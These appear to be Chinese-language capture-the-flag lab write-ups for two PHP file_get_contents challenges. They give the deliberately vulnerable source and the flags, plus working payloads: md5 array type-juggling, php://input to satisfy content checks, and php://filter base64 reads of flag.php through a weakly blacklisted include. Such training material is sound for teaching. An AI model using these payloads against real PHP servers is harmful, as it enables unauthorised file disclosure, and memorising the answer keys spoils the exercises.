PHP-file_get_contents(练习1)

题目信息：

题目名称	题目难度
PHP-file_get_contents(练习1)	1

题目考点：

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持，还会使用内存映射技术来增强性能。

Flag格式:

SangFor{31vKQPZ2RuYLWyuwBEOZyoylVTeH9G9h}

环境部署：

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2091

题目writeup：

1、实验主页

2、源码分析

<?php
$p1 = @$_GET['a'];
$p2 = @$_GET['b'];
$p3 = @$_GET['c'];
$p4 = @$_GET['d'];
if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))
    if($p1 != $p2 && md5($p1) == md5($p2)){
        if($p3 === file_get_contents($p4)){
            echo file_get_contents("flag.php");
        }
    }
    else{
        die("请输入2个不同的值");
    }
highlight_file("index.php"); 

Payload:

/?a[]=1&b[]=2&c=4&d=php://input
post：
4

---

---

---

---

---

---

---

---

题目信息：

题目名称	题目难度
PHP-file_get_contents	1

题目考点：

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持，还会使用内存映射技术来增强性能。

Flag格式:

SangFor{jfbcGax7p5Uzgu3q}

环境部署：

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2014

题目writeup：

1、实验主页

2、源码分析

<?php
error_reporting(0);
function check($file){
    $black=array("../", "..\\");
    foreach($black as $value){
        if(strstr($file, $value)){
            die("得了吧");
        }
    }

}
header("set-cookie: sourceCode.txt");
$user = $_GET["name"];
$file = $_GET["file"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the SangFor")){
echo "hello admin!<br>";
check($file);
include($file);
}
else {
echo "you are not admin ! ";
}
?>

根据源码存在两个变量，user和file。

在if条件判断中，传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。

file_get_contents() 函数把整个文件读入一个字符串中。

file_get_contents()的$filename参数不仅仅为本地文件路径，还可以是一个网络路径URL。于是便可以利用伪协议：

?name=php://input
POST：
welcome to the SangFor

进入if判断有执行到包含函数，则可以使用伪协议读取目标文件

/?name=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php
POST：
welcome to the SangFor